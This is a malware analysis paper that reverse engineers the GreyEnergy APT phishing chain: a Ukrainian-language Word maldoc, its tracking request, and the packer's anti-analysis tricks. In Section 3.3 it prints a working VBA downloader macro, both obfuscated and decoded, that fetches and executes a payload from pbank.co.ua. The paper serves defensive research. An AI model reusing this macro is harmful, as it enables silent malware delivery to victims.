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1. Abstract

GreyEnergy is an Advanced Persistent Threat (APT) which is believed to have been targeting the energy
sector in Ukraine and other Eastern European countries for the past several years. It was first reported by
ESET, [ who believes the malware is the successor to BlackEnergy, which brought down the power system
supporting over 200,000 Ukrainians in December 2015.

Up to now, GreyEnergy modules and payloads that specifically target industrial control systems (ICS) have not
been identified. Since Advanced Persistent Threats that ultimately target ICS are often initiated with a
reconnaissance phase on IT systems, and because of the trend of rapidly increasing convergence between IT
and OT systems, it is valuable to understand initial infections. Furthermore, GreyEnergy has the potential to
impact critical sectors beyond industrial infrastructure, such as the financial services sector, making
understanding it important.

| therefore decided to study the infection components and reverse engineered the GreyEnergy phishing attack
that sent a malicious Microsoft Word document (Maldoc) to targeted organizations. This paper provides a
comprehensive analysis of how the malware works, from the moment someone receives the phishing email,
until the malware (backdoor) is installed in their system. It is a more comprehensive analysis than the blog
article | published on this topic in November 2018. [?

Using multiple techniques, | investigated the three components of infection, the malicious Word document, the
custom packer, and the final dropper. My deepest analysis was done on the packer, an executable that
decrypts and decompresses another executable inside itself. The packer also uses more than a dozen anti-
analysis techniques to make it very difficult to understand. This paper details the logic, methods and tools |
used to dissect the packer, and reveal the next stage of the malware attack — the dropper executable.

Having completed my analysis, it's evident that the GreyEnergy packer is robust and significantly slows down
the reverse engineering process. The techniques used are not new, but both the tools and the tactics
employed were wisely selected. The threat actors’ broad use of anti-forensic techniques underlines their
attempt to be stealthy and ensure that the infection would go unnoticed.

Given how well the malware disguises itself once it infects a system, the best way for industrial organizations
to protect themselves from the GreyEnergy APT is to train employees about the dangers of email phishing
campaigns, including how to recognize malicious emails and attachments. In addition, critical infrastructure
networks should always be monitored with dedicated cyber security systems to proactively detect any threats
present on the network.

As a direct outcome of this analysis, | developed tools to help analysts dissect this piece of malware. The
GreyEnergy Yara Module, 34 is high-performing code for compiling with the Yara engine. It adds a new
keyword that determines whether a file processed by Yara is the GreyEnergy packer or not.

This tool, combined with the previously published GreyEnergy Unpacker (a Python script that automatically
unpacks both the dropper and the backdoor, extracting them onto a disk), saves other security analysts the
reverse engineering work explained in this paper.

| hope that these tools, along with my findings, facilitate further GreyEnergy analysis and help the security
community better defend critical infrastructure systems in the future.



2. GreyEnergy High-Level Flow

GreyEnergy uses a common infection method, phishing emails with infected documents. However, the
malware’s code is anything but common — it is well written, smartly put together and designed to defeat
detection by cyber security products. Figure 1 shows the high-level flow of the malware.
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Figure 1 - The GreyEnergy malware components and high-level flow, from maldoc to backdoor

The engineering techniques used to generate this flow are described in detail in this research paper.



3. Stage 0 - Malicious Word Document

The attack starts when someone receives a malicious Word Document in their email inbox (SHA-1
177AF8F6E8D6F4952D13F88CDF1887CB7220A645).

The document is written in Ukrainian, and at first glance looks very suspicious. Not only are unusual images
present, but a security warning is clearly shown at the top of the page, for the presence of macros.
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Figure 2 - When the malicious Word document is first opened, this is what it looks like.

Scrolling down, the reader is presented with a fake interactive form. At this point the person continues to see
the Security Warning at the top of the page, but they also see red text that advises them to enable the macros,
i.e. click on the “Enable Content” button in the warning.

This is a clear attempt to trick the person into executing the malicious code.
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Figure 3 - The red warning at the top of the page encourages viewers to interact with the form.
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Figure 4 - Translated into English, the red warning text encourages viewers to enable macro execution.



3.1 Tracking image

Now let’s dive into a technical analysis to understand how this document works.

The first step is to start FakeNet-NG 191 in order to capture all the network traffic generated when the document
is opened. GreyEnergy then tries to load a remote image; this happens even before enabling the macros.

In fact, the macros are disabled, and no code can be executed. The most obvious purpose of this behavior is
to keep track of how many users, as a minimal metric of success, opened the document.

s\FakeNet . html

faultFiles\FakeNet.png

Figure 5 - Shown above is part of the network traffic generated when the maldoc is opened.

The box below shows the HTTP GET request performed automatically by the malicious document.

GET /img/rKPGshUCwICOdgelP8Ig5odmykCedtG2zar.png HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64;
Trident/7.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 16)
Accept-Encoding: gzip, deflate

Host: pbank.co.ua

Connection: Keep-Alive

The contacted domain is pbank.co.ua. A quick investigation reveals that co.ua is a third-party domain
hosting service which allows users to create their own web space.

VirusTotal (https://www.virustotal.com/#/domain/co.ua) provides additional information about the number of
different domains observed on it.



https://www.virustotal.com/#/domain/co.ua

Whois Lookup @

domain: co.ua

nserver: ns.uadns.com

nserver: ns2.uadns.com

nserver: nsl.uadns.com

status: clientTransferProhibited
created: 2004-02-25 18:13:13+02
modified: 2018-09-23 22:27:10403
expires: 2027-02-25 18:13:13+02
source: UAEPP

registrar: ua.drs

organization: Service Online LLC

organization-loc: TOB "Cepsic OHnaiH"

city: Dnipro

country: UA

abuse-email: [REDACTED]@drs.ua
% Query time: 42 msec

Observed Subdomains ©

slando.co.ua
rtfm.co.ua
victorinox.co.ua
yaremche.co.ua
goleador.co.ua
lazada.co.ua
siteforyou.co.ua
pravo.co.ua
avtogid.co.ua
rbti.co.ua

URLs ©

Date scanned Detections URL

oy i f Il
2018-10-23 (_0/67 ) http://co.ua/

Figure 6 - Multiple third-level domains are observed on the domain co.ua.
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3.2 Dissecting the Document

The Word document is a ZIP archive which can be decompressed in order to navigate its content. After
decompression, (e.g., using 7zip utility ), its directory tree is revealed.

iteml.x

Figure 7 - After decompression, the directory structure of the Word document is disclosed.

After decompression, it's possible to locate where the GET request originated, just from searching for the
contacted domain pbank:

7z x maldoc.doc
cd maldoc
grep -ril "pbank" *
word/ rels/document.xml.rels




Opening the file word/ rels/document.xml.rels with a text editor shows the XML node requesting the
external resource. Note that Microsoft Word opening this remote resource is an expected and licit behavior,
and does not require enabling the macros in the document.

3.3 Malicious macro

Now that the tracking capability has been covered, it's time to move on the real malicious code. It is contained
compressed inside the file word/vbaProject.bin (visible as second to last in Figure 7).
However, the code can be easily decompressed and extracted using the great tool oledump, [ as shown below:

C:\oledump VO 0 38>python oledump.py maldoc.doc
A: word/vbaProject.bin

Al: 513 '"PROJECT'

A2: 41 '"PROJECTwm'

A3: M 15178 'VBA/ThisDocument'
Ad: 3940 'VBA/_VBA_PROJECT'
ECE 3656 'VBA/_ SRP 0'

A6: 655 'VBA/_SRP 1'

A7: 5220 'VBA/_ SRP 2'

A8: 939 'VBA/__SRP_3'

A9: 782 'VBA/dir'

B: word/activeX/activeX13.bin

Bl: 128 '"\x01lCompObj"

B2: 92 'contents'

C:\oledump VO 0 38>python oledump.py -s A3 -v -e maldoc.doc

<cut>

Function HashCheck ()
On Error Resume Next
Set s = CreateObject (B64Dec ("d3NjcmlwdC5zaGVsbA=="))
Set h = CreateObject (B64Dec ("bXN4bWwyLnhtbGhOdHA=") )
p = s.ExpandEnvironmentStrings ("$temp%") & B64Dec ("XFRWVU5TUzMuzXhl")
h.Open "get", B64Dec ("aHROcDovL3BiYWS5rLmNvLnVhL2Zhdmljb24uaWNv"), False
h.send

With CreateObject (B64Dec ("YWRVZGIUcC3RyZWFt") )
.Type = 1
.Open
.Write h.responsebody
.savetofile p, 2
.Close
End With

s.Run p
End Function

Sub Test ()

Call HashCheck
End Sub
<cut>
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Private Sub Document Open ()
<cut>

Call Test
End Sub

<cut>

Part of the output has been removed in order to focus on the important parts of the code.

The function Document Open () is automatically executed once the user clicks on the button “Enable
Content’. It calls the function Test () and it, in turn, calls HashCheck () which contains the malicious code.

The HashCheck () function is a common downloader found in most malicious macros. Its main purpose is to
download a malware component remotely, storing it inside the system and finally executing it.

The attacker tried to obfuscate the strings using the Base64 encoding, however, that encoding system can be
easily reversed. The main purpose was not to protect the strings, but rather avoid pattern-based detection
performed by cyber security products. The following code snap shows the downloader’s decoded strings:

Function HashCheck ()
On Error Resume Next
' The object "wscript.shell" provides access to OS Shell methods
Set s = CreateObject ("wscript.shell")

' The object "msxml2.xmlhttp" allows to perform HTTP requests
Set h = CreateObject ("msxml2.xmlhttp")

' Create the path $temp%\TVUNSS3.exe used to drop the
' malicious component inside the filesystem
p = s.ExpandEnvironmentStrings ("$temp%") & B64Dec ("\TVUNSS3.exe")

' Send a HTTP GET request to download the malicious component
h.Open "get", B64Dec ("http://pbank.co.ua/favicon.ico"), False
h.send

' Use the object "adodb.stream" to save the downloaded file inside
' the filesystem using the path created previously and stored in the
' variable called "p"
With CreateObject ("adodb.stream")
.Type = 1
.Open
.Write h.responsebody
.savetofile p, 2
.Close
End With

' Execute the downloaded component
s.Run p
End Function

11




The macro downloads a packed dropper (SHA1 51309371673ACD310F327A10476F707EB914E255)
designed to implant a persistent backdoor inside the system.

The executables of the backdoor and dropper are contained inside the packer itself, encrypted and
compressed with a custom algorithm.

4. GreyEnergy Stage 1 — Packer

The packer binary (SHA-1 51309371673ACD310F327A10476F707EB914E255) downloaded by the Word
document is a C++ 32-bit Windows executable compiled on 2012-01-17 03:24:07 (in accordance with the PE
header).

The executable is not signed or protected using any known packer but contains a massive amount of anti-
analysis techniques spread throughout the code, which are described below. The PE header and the sections
do not contain anything indicating anomalies or packed code.

Section VirtSize VirtRddr PhysS5ize PhysRhddr Characteristics
PE sections
.text 0000%600 00001000 OOOO0S600 0O0D0400 * Code, Execute Access, Read Acceas

.rdata 00002A38 0000BODD 00002C00 000 aog Initialized Data, Read Access

Initialized Data, Read Rccess, Write Rccess

Figure 8 - No suspicious indicators are found in the executable’s section.

What is a packer? It's an executable that encrypts and compresses another executable inside it, implementing
varied anti-analysis techniques to make it very difficult to investigate and understand. Packers are legitimately
used to protect code that is the intellectual property of a person or company. In this case, however, the packer
is used by the threat actor to hide the malware. It uses a lot of techniques that make it hard for the security
analyst to identify the true malicious code.

How do you recognize a packer? Usually a packer has the following characteristics and capabilities. It:

e Unpacks the original executable into memory
e Resolves imports of the original executable
¢ Relocates the binary
e Transfers the execution to the original entry point
e Contains few imports
¢ Includes specific packer sections (like UPXO0)
e Involves abnormal sections sizes
e Uses anti-analysis techniques, largely involving:
o anti-debugging
o anti-VM
o junk code
o so much more

Let’'s go deeper into the analysis to understand what characteristics flag the executable as a packer.

12



4.1. Overlay data

Observing the file closely, | noticed that the executable is carrying some data encrypted at the end of itself
(overlay), starting at the raw offset 0xD800 (SHA-1 overlay data
BD67AE6C9C4C5DEE10FD8E889133427BF42D0580).

The first assumption, confirmed during the analysis, is that the data appended at the end of the file is an
additional component that is decrypted somehow during run-time. This is not necessarily a malicious indicator,
because several Windows-based installers use overlays to store data to be installed inside a system. But it
could be a piece of the puzzle.

Offset(h) 00 01 02 03 04 05 06 07 08 0% OA OB OC OD OE OF Decoded text "
0000ODEF0 20 3C 72 €5 71 75 €5 73 74 €5 64 50 72 69 76 6% <requestedPrivi
0000D700 6&C €5 €7 €5 73 3E OD OZ 20 20 20 20 20 20 20 20 leges>..
0000D710 3C 72 65 71 75 €5 73 74 65 €64 45 78 65 €3 75 74 <requestedExecut
0000D720 €9 &F 6E 4C 65 76 €5 6C 20 &€C 65 76 65 6C 3D 22 ionLevel level="
0000D730 €1 73 49 6E 76 6F 6B €5 72 22 20 75 69 41 63 63 asInvoker" uilcc
0000D740 €5 73 73 3D 22 66 61 6C 73 €5 22 3E 3C 2F 72 65 ess="false"></re
0000D750 71 75 65 73 74 65 64 45 78 €5 63 75 74 69 6F 6E questedExecution
0000D760 4C 65 76 65 6C 3E OD OA 20 20 20 20 20 20 3C 2F Level>.. </
0000D770 72 65 71 75 €5 73 74 €5 €4 S50 72 €9 76 €9 6C €5 requestedPrivile
0000D780 €7 €5 73 3E OD OA 20 20 20 20 3C 2F 73 65 63 75 ges>.. </secu
0000D790 72 €9 74 79 3E OD OA 20 20 3C 2F 74 72 75 73 74 rity>.. </trust
0000D7A0 49 6E 66 6F 3E 0D OA 3C 2F €1 73 73 65 6D 62 6C Info>..</assembl
0000OD7BO 79 3E 50 41 50 41 44 44 4% 4E 47 58 58 50 41 44 y>PAPADDINGXXPAD
0000D7CO 44 49 4E 47 50 41 44 44 4% 4E 47 58 58 50 41 44 DINGPADDINGXXPAD
0000D7D0 44 49 4E 47 50 41 44 44 4% 4E 47 53 58 50 41 44 DINGPADDINGXXPAD
O0OOODTED 44 49 4E 47 50 41 44 44 4% 4E 47 53 58 50 41 44 DINGPADDINGXXPAD
Q00ODTFO 44 49 4E 47 50 41 44 44 49 4E 47 53 58 50 41 44 DINGPADDINGXXPAD
0000DB0O0 | 51 AE 73 45 87 3 ] F..008..951%.>-4
0000D810 I -Te: 34 DxxC e.wA*-4..?
0000D820 05 59 DE .00.Yp"EYU?.€. .7
0000D830 83 9B SF e.If> .a..€. {tpi
0000D840 E8 BC A% 8 B¢ #2440 (GEWCEAVO. §
0000D850 8% SA 61 65 6F PLQ%Za . £0e065NoT
0000D8ED C4 BA 6C BO 50 MF+A°1&. f°UIn.Pi
0000D870 23 8F 5D 3 AD 65 E08%.] .P«." Jed
0000D8E0 ik PO €A 4F 56 t.@!" |phjOa.FtVxs
0000D890 A 1 De 70 09 ROA* . . YCUp—. Bh.%
0000D8AO ‘ o 9D AS 90 C+y.T-zi.¥nii..d
0000D8B0 C A B8 63 4R visfiec9L c:~a’Jg
0000D8CO A 5 AE A8 e . YOU-C® Aé=. ..
0000D8DO 4 9% ES AF *D_.<™iid D.™5"q
0000DSEQ D 03 A2 *UC; sSE"W.<¢A23€R.
0000DSFO 5F €2 1D + W, -.'2b.=if.Ag
0000D%00 9 47 1E 51 . .MG\..B.0.”.9Ef
0000DS10 AQ F9 4 , .% ;e u.uA—$-0.
0000DS20 DC 35 AE 15 PUESZ*A.m®L . . nBN
0000D%30 04 ac y-Xs] 24 E.finSn=.0 1YS 2"
0000D940 C7 D8 7B 56 oCEG . MENG { AoV~ 733
0000D950 SA 9C 51 18 "Z.=0PF 10%x. @Y
0000DS60 62 04 A2 49 b= .o {¥iUcb%IZES
0000DS70 2n Al 4T B . 0* t yEiRs; d1gAas
0000D980 2 FF oF B 76 2 . OVOAC” @Y0; voel
0000DS%0 F4 12 5 B9 ("E5Erp# _.n¥ d. ]
0000DSAD F2 3 Or8<NG9+ud.cmT .G
0000DSB0O 10 0 .0.£3v$54. IEFRA v

Figure 9 - Shown above is data not present in the PE header that is appended to the end of the file.
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4.2. Static analysis

Opening the dropper in IDA Pro, 8 it's immediately evident that the executable has been compiled using
several anti-analysis techniques like junk code, anti-forensics, overlapping instructions and a massive use of
JMPs. It could be an indicator that the analyzed file is a packer or, in general, is code that the developer wants
to protect.

That’s not enough evidence yet, though, that there is malicious code inside.

.text:004088153

.text:00488153 loc_4838153: ; CODE XREF: start:loc_488368!j
.text:004088153 1AC push [ebp+var_3C]

.text:00408156 1B8 lea eax, [edi+2Ah]

.text:08488159 1B0 jmp near ptr loc 4850A3+1

.text:08488159 ; END OF FUNCTION CHUNK FOR start

.text: 90408159
text:00408164
text:00408164
.text: 00408164
.text:00408164

.text:004088164 1C4 mov ecx, 7CBCA@98h
.text:00408169 1C4 mov ecx, [ebp-198h]
.text:0040816F 1C4 jmp loc_4869B6

.text:0040816F ; END OF FUNCTION CHUNK FOR sub_4@82Ce
.text:0040816F ;

text:ee4081A1
.text:ee4081A1 ; START OF FUNCTION CHUNK FOR sub_485977

text:ee4881A1
Ltext:0e4081A1 loc_4@81A1: ; CODE XREF: sub_485977+Ctj
.text:004081A1 -28 jmp loc_4@87594

Ltext:004081A1 ; END OF FUNCTION CHUMK FOR sub_4@597

Figure 10 - This sample shows junk code, overlapping instructions and widespread use of JMPs.

The next sections explain the anti-analysis techniques used in the sample under investigation.

4.3. Junk code

Junk code is a basic technique of code obfuscation which adds unnecessary code that has no impact on the
original code. Its only purpose is to confuse the reverse engineer.

Figure 10 shows a massive amount of junk code amongst the original instructions needed by the program.
Moreover, the instruction at the offset 0x407CcC4 overwrites the value just used in the register ESI, which
means the junk code generator could support the capability of register overwriting as an anti-forensic
technique.

This technique prevents information about the internal status of execution from leaking, in case the malware
analyst dumps the memory during execution as part of their investigation.
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.text:ee487CBs

text:eeda7CBS loc_487CB5: ; CODE XREF: sub_485BBB+1B6CT]
.text:B8407CB5 203 lea eax, [eax-@Ch] ; junk
.text:08487CBE 086 maw eax, 2ECE3EB5h ; junk
.text:88407CBD 2eo mow eax, [ebp+l@h] ; junk
.text:08407CC0 2eo mow eax, [eax+8Ch] ; junk
Ltext:Be4e7CC3 eeo push esi 3 push ESI
.text:08487CC4 o84 maw esi, 6C7BECE2h ; jumk / anti-forensic?
.text:ee487CC9 ees push edi 3 push EDI
3 jump to the next code to execute

Ltext:2e4e7CCA Bes jmp loc_487EC
Text:eedavCCA ; END OF FUNCTION CHUMK FOR sub
CText:eedeFica T ———————

Figure 11 - The malware instructions include a massive amount of junk code.

Although this technique could be effective in slowing down the analysis, it comes with some important
drawbacks. The most important one is that adding new instructions for the CPU to execute could lead to
performance degradation. Additionally, it could be a significant problem in scenarios where the execution time
is important.

4.4. Overlapping instructions

Another method the GreyEnergy threat actors use in the packer to hide the functionality of their code is
overlapping instructions. There are valid uses of this technique, such as for the Intel x86 architecture, where
instructions can be of variable length. (Other microprocessors, such as the Sun SPARC, use a fixed length
architecture where each instruction occupies 4 bytes and is properly aligned.)

With the Intel x86, each machine instruction consists of an opcode, which defines the type of instruction to
execute, and an optional list of operands. Operands can be registers, immediate values, or memory locations,
and all of them take a different number of bytes to encode. Thus, the same sequence of bytes may be
interpreted by the processor as completely different instructions, depending on the exact byte in which
execution starts.

Indeed, the same bytes may be executed multiple times, with each occurrence interpreted as a different
instruction. This allows programmers to construct machine code that, as a static listing in assembly language,
is hard for humans to understand.

.text:00408153 » START OF FUNCTION CHUNK FOR start

.text:00408153

.text:00408153 loc_408153: ; CODE XREF: start:loc_408368!j
.text:00408153 1AC push [ebp+var_3C]

.text:00488156 1B© lea eax, [edi+2Ah]

.text:00408159 1BO | mp near ptr loc_{4058A3+1 |

.text:004088159 ; END OF FUNCTION CHUNK FOR start

.text:00408159 ) T e e e e e e

Figure 12 - The disassembler has been tricked to show an incorrect jump destination.

The GreyEnergy malware uses a JMP instruction to mislead the reverse engineering analysis, and it works like
overlapping instructions. For example, the JMP instruction highlighted in Figure 12 represents a jump towards
the offset 0x4050A4. The +1 at the end of the JMP instruction suggests that the right destination is obtained
by adding one.

However, the disassembly tool is tricked to jump to 0x4050A3, which is a valid address. The analyst clicking
on the yellow label will land at the code listed in Figure 13.
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.text:004050A3
.text:004050A3
.text:004056A3

text:004050A3
.text:004050A9

.text:004050AE
.text:00405683
.text:004050B3
.text:004056B6
.text:e0405eB8
.text:004050B8
.text:004050B8

.text:004056B8 0606
.text:@04056BB 060
.text:0040560BD @60

.text:0040568BD

The disassembler program does indeed jump to instruction 0x4050A3, which contains valid instructions, but

loc_4058A3:

; CODE XREF: .text:00484F9CTj
: start+DE2lj

loc_4056B8:

START OF FUNCTION

mov
not

jmp

ade [eax+781739ADSh], bh

mov eax, OA9SE1B55h Wrong
jmp loc_407531 instructions
pop dword ptr [ecx+13h]

cmp [eax], esp

CHUNK FOR sub_4@6CES

: CODE XREF: sub_4@6CE5+949l7
[ebp-4@h], eax
eax
loc_405912

END OF FUNCTION CHUNK FOR sub_4@6CES

Figure 13 - The disassembler is following the wrong execution flow!

not the same as those followed by the CPU during real execution.

An experienced analyst should immediately recognize that the instructions indicate something weird. The
analyst can manually fix this behavior, forcing the disassembler (IDA Pro) to ignore the code at 0x4050A3, by

using its capability to set data as “Undefined”.

.text

.text:
.text:

0040850A3
004050A3

:004050A3

loc_40850A3:

. text

.text
.text

.text
.text
.text
.text
.text
.text
.text
.text
.text
.text

:004050A3
.text:
.text:

©04050A9
004050AE

100405083
:904050B3
.text:

0e4e50B6

:004050B8
:004050B8
100405088
:004050B8
:©004050BB
:804050eBD
:004050BD
:0e4050C2
:@e4e50eC2
:@e4e50eC2

loc_4056B38:

; CODE XREF: .text:004¢
; start+DE2lj

adc leax+78179AD9h1. bh
moy % Jump tooperand Enter
ij IEI Jump in a new window Alt+Enter

OS] Jump in a new hex window

oanmnm'm 2 h]
cm| X undefine _ Mark the instructions

START OF FUNCTIOM Synchronize with 3 .
o as undefined data
Run te cursor F4
w+ Add write trace CODE XREF: Sub_466CEE

mon\ m‘r. Add read/write trace
not x"' Add execution trace

jmrmmmm F2

END OF FUNCTION (% Krefs graph to...
----------------- BN Xrefs graph from...

START OF FUNCTION Font...

Figure 14 - The analyst can force the dissembler to ignore the code at address 0x4050A3 by marking it as “Undefined”.

Soon after the code has been set as undefined (Figure 14 and Figure 15) it is clear that the opcode 0x10 has
instructed the disassembler to show the instruction adc. The right instruction, as partially reported by the

disassembler previously in Figure 15, starts from the opcode 0x0B8 located, at the offset 0x405024.
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text:004050A3 unk 4856A3 db 16h ; CODE XREF: .text:00404F¢
ext: ; CODE XREF: start+DE2!j

.text:804050A5 db eDSh y

.text:004050A6 db 9Ah Wrong opcode used to create

.text:004050A7 db 17h adc [eax+78179AD9h], bh

.text:004050A8 db 78h ;

.text:004050A9 db ©B8h ;

.text:004050AA db 5%h ;

.text:004050AB db 1Bh .

.text:004050AC db 9Eh ; 3 Right opcode executed

.text:00408506AD db @ASh ; by the CPU

.text:004050AE db @ESh ; é

.text:004050AF db 7Eh ; ~

.text:004050B0 db 24h ; ¢

.text:004050B1 db =]

.text:004050B2 db =]

.text:004050B3 y "T Tttt ssssssssccccccscrssrsscscsmssscsssmssscssssmssssssssssss=s=

.text:0040508B3 pop dword ptr [ecx+13h]

.text:004050B6 cmp [eax], esp

Figure 15 - Marking the code at address 0x4050A3 as “undefined” reveals the opcode involved in the misleading
instruction.

db 55h, 7Ah, 25h
dd 881CD1D2h, 7575D7Eh
db 4Bh, ©CFh, 9

; CODE XREF: .text:00404F
; CODE XREF: start+DE2!j

Enter

Alt+Enter

Jump in a né

.text:00405095

.text: 00405098

.text:004050A0

.text:004050A3 unk_4850A3 db

| text:004050A4 }

.text:004050A5 db
.text:0040506A6 db
.text:004050A7 db
.text:004056A8 db
.text:084056A9 db
.text:004056AA db
.text:004050AB db
.text:004050AC db
.text:004050AD db ¢
.text:904050AE db ¢
.text:004050AF db
.text:004050B0 db
.text:004056B1 db
.text:004056B2 db
.text:0840650B3 § S--=T===========od
.text:08406508B3 pop
.text: 00465086 cmp

lﬁ Code

Convert the data
at 0x4050A4 as code

oF  Word 0D9B2h

Double word 179AD9BEh
Structure Alk+Q »
Alignment 4

Synchronize with L4

Add write trace
Add read/write trace
Add watch

Add breakpoint F2

Xrefs graph to..

Xrefs graph from...

Font...

- -

Figure 16 - Step 2 for the human analyst is to mark the data at offset 0x4050A4 as “Code”.
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The figure below shows that now the disassembler is showing the right instructions.

[text:004050A4 b=

.text:004050A9
.text :004050AE
.text:004050B3

Figure 17 - The disassembler is now evaluating the code of the instructions actually executed by the malware.

3

eax, 78179ADSh
eax, GA99E1B59h
loc_407531

The code still looks strange though. In fact, there are two junk instructions (as described in the previous
section) and then a jump to another piece of code quite distant from the current instruction.

4.5. JMP-based execution code

A very effective technique used by the malware involves creating an execution flow that is almost completely
based on the use of JMP instructions. It makes it very difficult to understand the algorithms since the original
instructions are hidden amongst a massive amount of junk code and located randomly around the . text

section.

Reducing the disassembler’s font size, Figure 18 reveals how many JMP instructions are involved in a very
small portion of code that would normally be sequential. Another important detail is that between every JMP
code, there are just a couple of useful instructions and a lot of junk code — making the analysis even more

challenging.
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.text:808487731 8ac add edi, edx

.text:8@487733 eec jmp loc_4@85CBA

.text:08407733 ;3 END OF FUNCTION CHUNK FOR sub_486D53

.text: 004087733 IR e e
ctext: 08467738 db 8

.text: 08487739 B e
.text: 08407739 3 START OF FUNCTION CHUNK FOR sub_467517

Ltext: 80487739

.text: 00487739 loc_487739: ; CODE XREF: sub_467517-22E21j

.text: 00487739 014 not esi

.text:98407736 814 mov esi, @CE9FD448h

.text:08487740 014 jmp loc_4862EC

Ltext:ee407740 I K FOR sub_48751

180487740 S —
5 db @E3h, @Esh, @c7h
dd 323E316h, 5@@887492h, @DATIF792h

=

B4

.text: 20407754
.text:ee487754
.text: 88407754

Ltext: 88487754 loc_487754: ; CODE XREF: sub_485C30-461j
.text:88467754 5DD2 mov [ebp-14h], eax

.text:8@487757 5002 jmp loc_485BC9

.text: 88487757 ; END OF FUNCTION CHUNK FOR sub_485C3@

.text: 08487757 I i e it T e
.text:8048775C dd 16363172h, 345E21ABh

.text: 08487764 DD
Ltext:eed4a7764 pusha

.text:88487765

.text: 80487765 loc_487765: ; CODE XREF: .text:08486F75t%j
.text:88487765 mov eax, [ebx-4]

.text:80487763 add eax, edi

.text:8848776A jmp loc_487357

.text: 08487764 I e
-text:0848776 db 27h

text [ dd 7F419811h, @DD78D74Bh

text db 8&h, 53h

Ltext:ee48777A 3 START OF FUNCTION CHUNK FOR

text:ee48777A

Ctext:eed877TA loc_48777A: ; CODE XREF: sub_485C38+16211j
.text:0848777A @18 mov ecx, 23BC373Fh

.text:@@40777F @le mov ecx, [ebp-8]

Jtext:e@4e7732 ele jmp loc_4@5B2F

Ltext:eed87732 3 END OF FUNCTION CHUNK FOR su

db @B3h

L:ead4e 8 dd @AA27CFFCh
Ltext:eed8773C et e e

Ltext:8e48773C 3 START OF FUNCTION CHUNK FOR su

Ltext:ead48778C

Ltext:eed4e77ac loc_4@778C: ¢ sub_4@6@BB8:loc_4@7F134]
.text:8048778C 806 mov ecx, edi

.text:8@487738E ool not ecx

.text:e0487790 B2 sbb eax, @FFFFFFFFh

Jtext:e@4e7793 eee lea ecx, [esi]

.text:0@487795 000 jmp loc_4@6@99

Ltext: 8487795 ; END OF FUNCTION CHUNK FOR sub_4868EBB

Figure 18 - A high number of JMP instructions are used in a very small portion of code.

4.6. Entropy

In malware analysis the entropy calculation is very important because it provides an assessment of the file's
randomness. Measuring the code entropy is useful as an indicator of whether a sample has been encrypted,
obfuscated or compressed somehow.

The most popular way to measure entropy is based on Shannon’s Formula, ®! where the binary entropy is
computed using a scale from 0 to 8. Low entropy scores indicate a low chance that the binary is protected in
some way.

Usually, normal executable files have an entropy around 5-6, packed files around 6.5, and encrypted ones are

7 or more. This is not a rule, but an indicator that security experts use for determining the best approach for
the first stage of malware analysis.
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Using the entropy measurement against the GreyEnergy dropper was very useful as it provided an initial
confirmation that the overlay data was encrypted.

When it was applied to the overlay data, it indicated that | was looking at something heavily protected.

property value

offset 00000200

size 63488 bytes

signature unknown

md3 D592CBFCFES1DBATSSTOBEACEZ3450C3

shal BDE7AEGCICACSDEE1OFDEERET13342TEBF42D0580
sha236 AGZ36ATBAITCIFESCY804FCROEDERCIT2D1CC235E90455BCE2822A823814
entropy 7504

first-bytes (hex) 240E1751 31 AEB507VBE T3 498719 3EF7 D8
first-bytes (text) S..000 . nnslan> .

file-ratic 53.45 %

virustotal -

strings-ascii -

strings-unicode -

Figure 19 - The entropy score for the overlay data suggests it is encrypted.

Without an in-depth analysis, it's impossible to know how the data is protected or whether the data itself is
malicious. However, the security researcher is aware that the executable is probably going to access the
overlay data.

Additionally, this information can be used for selecting which APIs set the breakpoints. For example, if the

malware parses the PE header to find the overlay offset, good candidates for breakpoints are the
CreateFilewand GetFileSize APIs.

4.7. Dynamic analysis

Even if a static analysis approach was feasible, | decided to focus on using a dynamic analysis approach, in
order to speed up the investigation.

From this point forward, the information was obtained by debugging the malware with the excellent x64dbg. ['%
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4.7.1. Hardcoded imports

The most important WinAPIs called by the packer are not contained in the PE import table, because the
attacker decided to load them at runtime. The APl names are pushed onto the stack using a mov instruction,
without any kind of obfuscation technique.

@ v @oraph [l

0040719D

004071AB
00407180
004071B2 | ~

| 00407188 | -
-9 004071BD
00407 1BF
004071C2
004071C5
004071c8
——]004071cB | -
00407100
<

mov dword ptr ss:|[febp-2clJ,53656C69
mov dword ptr ss:[ebp-28],657A69

["-'NDE ® Scaloonic  # MenouMap L CalStade SRSEH Lo saipt %] symbols

5f85a3f49a37275b37fd0
test al,al
jne d4e97al8be820ala3af639£9bca2lc5f85a3f49a37275b37fd012
jmp d4e97al8be820ala3af63¥c9bcallc5f85a3t49a37275b37fd012
push 0
push dword ptr ss:[febpyid]]

call dword ptr ss:|[ebgf8]

mov dword ptr ss:[[ebgF4],eax

0019FDS0

0019FDBO |20 FF 19 00
0019FDCO |80 FE 19 00
0019FDDO |70 FF 19 00
0019FDEO |00 E1 F5 05
0019FDFO |7F 02 00 00
0019FEQO |00 00 00 00
0019FE10 |00 00 00 00
0019FE20 |00 00 00 00

69 6C 65 53|BC_FD 19 00[EQ 32 57 00
P e = = = sy

CO F7 _1C 74|77 73 40 00|65 00 6C 00| V..A+.tws@.e. 1.
87 7F 40 00 |8C IF 57 00|EC FD 19 00|.y....@...W.1y..

C8 00 00 00|00 60 22 00|60 C7 4C 7/|py..-E.... ". ClLw
02 02 00 O0|EQO _FF 19 00 (2B 00 00 00|.ao..... By. . +. ..
00 00 00 00|00 OO0 00 OD|00 OO0 00 OOf.....cvuuuenn...
EO 1A 57 00|80 1F 00 OO|FF FF 00 00|....a.W..... yy..

00 00 00 00|00 00 00 00|00 00 00 OOf....cvvuuuennnn.
00 00 00 00|00 00 00 OD|00 00 00 OOf...cvvuuuuennnn.

Figure 20 - A mov instruction is used to push APl names onto the stack.

Once the API's name is loaded into memory, the malware needs to find where the related code is actually
located in memory. As the libraries needed are already loaded in the process address space, the malware
parses its PE header to access the export table and, subsequently, finds the right AP address.
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lea eax,dword ptr ds:[edi] ijunk ~| Hide FPU
mov eax,dword ptr ds:[edx:3C] access the PE header raw offset — 4
@ 00407F2C mov ecx,esi junk EAX gggggg&g <d4e97algbe820ala:
@ 00407F 2E mov ecx,88872883 Junk Egi 0019FD5C
@ 00407F33 mov ecx,9C294345 Junk
@ 00407F38 mov eax,dword ptr ds:[eax+edx+78] /get the export table RVA % ggiggggg keinel32e7e 160000
——@ 00407F3C | ~ |jmp ddeg?a18be820a1a3af639c9bca21c5f83 ESP  0019FD54
